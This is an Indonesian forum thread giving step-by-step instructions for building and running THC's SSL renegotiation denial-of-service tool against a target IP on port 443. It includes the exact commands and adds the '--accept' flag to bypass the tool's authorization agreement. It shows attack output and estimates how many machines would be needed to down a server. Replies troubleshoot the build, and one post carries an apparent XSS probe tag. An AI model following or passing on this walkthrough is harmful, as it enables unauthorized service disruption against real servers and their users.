SSL DoS by THC
#1
Setelah jalan-jalan disini, ternyata ada DoS tipe yg ane baru tau yaitu dengan memanfaatkan protokol SSL yang dibuat oleh The Hacker's Choice.

Download aja langsung sourcenya:
Bagi pengguna Unix/Linux disini
Bagi pengguna Windows disini

1. Cara menggunakan di Unix/Linux:
EDITED: (ane baru coba setelah pulang kantor Tongue)
ekstrak dulu filenya dengan
Code:
tar xvf thc-ssl-dos-1.4.tar.gz

lalu masuk ke folder /thc-ssl-dos-1.4.tar.gz

lakukan
Code:
./configure

klo ada error
Quote:configure: error: libcrypto not found part of openssl.
berarti harus install libssl-dev
Code:
apt-get install libssl-dev

trus
Code:
make all install

jalaninnya:
Code:
./thc-ssl-dos masuk.in.ip.target 443

klo ada error:
Quote:ERROR:
Please agree by using '--accept' option that the IP is a legitimate target
and that you are fully authorized to perform the test against this target.

ini semacam agreement antara kita dengan pembuat aplikasi, tambahin --accept aja di line diatas Tongue
Code:
./thc-ssl-dos masuk.in.ip.target 443 --accept

jika sudah jalan akan muncul seperti dibawah:
Quote:root@iKONs:~/Programs/thc-ssl-dos-1.4/src# thc-ssl-dos masuk.in.ip.target 443 --accept
______________ ___ _________
\__ ___/ | \ \_ ___ \
| | / ~ \/ \ \/
| | \ Y /\ \____
|____| \___|_ / \______ /
\/ \/
http://www.thc.org

Twitter @hackerschoice

Greetingz: the french underground

Waiting for script kiddies to piss off................
The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 45 [45.39 h/s], 14 Conn, 0 Err
Handshakes 111 [66.31 h/s], 14 Conn, 0 Err
Handshakes 177 [66.50 h/s], 14 Conn, 0 Err
Handshakes 246 [68.77 h/s], 16 Conn, 0 Err
Handshakes 310 [64.02 h/s], 17 Conn, 0 Err
Handshakes 380 [70.01 h/s], 17 Conn, 0 Err
Handshakes 447 [67.14 h/s], 17 Conn, 0 Err
Handshakes 499 [51.92 h/s], 18 Conn, 0 Err
Handshakes 565 [66.16 h/s], 18 Conn, 0 Err
Handshakes 631 [65.66 h/s], 18 Conn, 0 Err
Handshakes 694 [62.98 h/s], 19 Conn, 0 Err
Handshakes 761 [67.30 h/s], 19 Conn, 0 Err
Handshakes 823 [61.69 h/s], 19 Conn, 0 Err
Handshakes 886 [62.96 h/s], 20 Conn, 0 Err

perhatikan yg warna merah diatas, berarti yg ane lakukan sekitar 60-70 koneksi per detik terhadap server, normalnya sebuah server dapat melakukan sampai 300 koneksi SSL
sehingga dapat disimpulkan serangan DoS yang ane lakukan tidak berhasil membuat server down Tongue
berarti paling ngga ada 5 komputer dengan tools ini utk menjatuhkan suatu server...cmiiw

2. Cara menggunakan di Windows:
ekstrak aja file thc-ssl-dos-1.4-win-bin.zip pake winrar/winzip/7zip dsb
buka cmd, masuk ke folder hasil ekstrak diatas, lalu:
Quote:C:\Downloads\Compressed\thc-ssl-dos>thc-ssl-dos.exe -h
______________ ___ _________
\__ ___/ | \ \_ ___ \
| | / ~ \/ \ \/
| | \ Y /\ \____
|____| \___|_ / \______ /
\/ \/
http://www.thc.org

Twitter @hackerschoice

Greetingz: the french underground

./thc-ssl-dos [options] <ip> <port>
-h help
-l <n> Limit parallel connections [default: 400]

jalaninnya:
Code:
thc-ssl-dos.exe -l 400 masuk.in.ip.target 443

Untuk lebih jelasnya bisa lihat ke website THC disini.


UPDATE!
klo ada error seperti ini:
1.
Quote:thc-ssl-dos-1.4> src/thc-ssl-dos [target_ip] 443 --accept
______________ ___ _________
\__ ___/ | \ \_ ___ \
| | / ~ \/ \ \/
| | \ Y /\ \____
|____| \___|_ / \______ /
\/ \/

http://www.thc.org

Twitter @hackerschoice

Greetingz: the french underground

Waiting for script kiddies to piss off................
The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 0 [0.00 h/s], 181 Conn, 0 Err
Handshakes 0 [0.00 h/s], 181 Conn, 0 Err
Handshakes 0 [0.00 h/s], 181 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 231 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
Handshakes 0 [0.00 h/s], 233 Conn, 0 Err
ERROR: Target has disabled renegotiations.
Use your own skills to modify the source to test/attack
the target [hint: TCP reconnect for every handshake].

berarti SSL Renegotiation pada server telah di blokir sehingga tidak vulnerable terhadap serangan ini.

2.
Quote:thc-ssl-dos-1.4> src/thc-ssl-dos [target_ip] 443 --accept
______________ ___ _________
\__ ___/ | \ \_ ___ \
| | / ~ \/ \ \/
| | \ Y /\ \____
|____| \___|_ / \______ /
\/ \/

http://www.thc.org

Twitter @hackerschoice

Greetingz: the french underground

Waiting for script kiddies to piss off................
The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
SSL: error:00000000:lib(0):func(0):reason(0)
SSL: error:00000000:lib(0):func(0):reason(0)
SSL: error:00000000:lib(0):func(0):reason(0)
SSL: error:00000000:lib(0):func(0):reason(0)
SSL: error:00000000:lib(0):func(0):reason(0)

berarti SSL di server tersebut telah di patch dengan set "Connection soft Limit" dan "Connection hard limit" di "Server"->"Security"->"Per client throttling", di set soft limit to 20 dan hard limit to 30.

Note:
- masukin IP target, klo menggunakan URL ane coba ga bisa
- disini kita hanya bertukar ilmu, penggunaan tools ini merupakan tanggung jawab masing-masing

semoga bermanfaat
M

#2
di area mikrotik bisakah bro?

#3
dicoba aja bro, post hasilnya disini
thx

#4
eror bro pass make all install

Code:
root@bt:~/thc-Ddos-web/thc-ssl-dos-1.4# make all install
make: *** No rule to make target `all'.  Stop.

#5
waktu ./configure sukses ga?

coba make install aja

#6
ga sukses jg bro... not found
ini reportnya bro..

Spoiler! :
Code:
root@bt:~/thc-ssl-dos-1.4# ./configure
Begining autoconfiguration process for thc-ssl-dos-1.4...
checking build system type... i686-pc-linux-gnu
checking host system type... i686-pc-linux-gnu
checking target system type... i686-pc-linux-gnu
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for style of include used by make... GNU
checking dependency style of gcc... gcc3
checking for ranlib... ranlib
checking for an ANSI C-conforming const... yes
checking whether to compile a static binary... no
checking whether to compile with DEBUG flag... no
checking for /dev/urandom... yes
checking for socket in -lsocket... no
checking for gethostbyname in -lnsl... yes
checking for DH_free in -lcrypto... no
configure: error: libcrypto not found part of openssl.
root@bt:~/thc-ssl-dos-1.4# make install
make: *** No rule to make target `install'.  Stop.
root@bt:~/thc-ssl-dos-1.4# make all  install
make: *** No rule to make target `all'.  Stop.
root@bt:~/thc-ssl-dos-1.4# make  install all
make: *** No rule to make target `install'.  Stop.


yg ini sya dpt printahnya dri situs nya bro...

Code:
root@bt:~/thc-ssl-dos-1.4# ./thc-ssl-dos 127.3.133.7 443
tp msih eror jg..

#7
kok tulisannya by THJC ya ?
[shcode=This_site_xss-ed]

#8
(10-25-2011, 04:55 PM)koecroet Wrote: kok tulisannya by THJC ya ?

yg mna om? Angry Angry

#9
di ane error juga bro Sad
sama kayak bro betefive

#10
THC = THJC?
Confused

testing Smile
Yang putih, yang seharusnya ber-aksi dan berbakat!
Linuxtivist blog






Users browsing this thread: 1 Guest(s)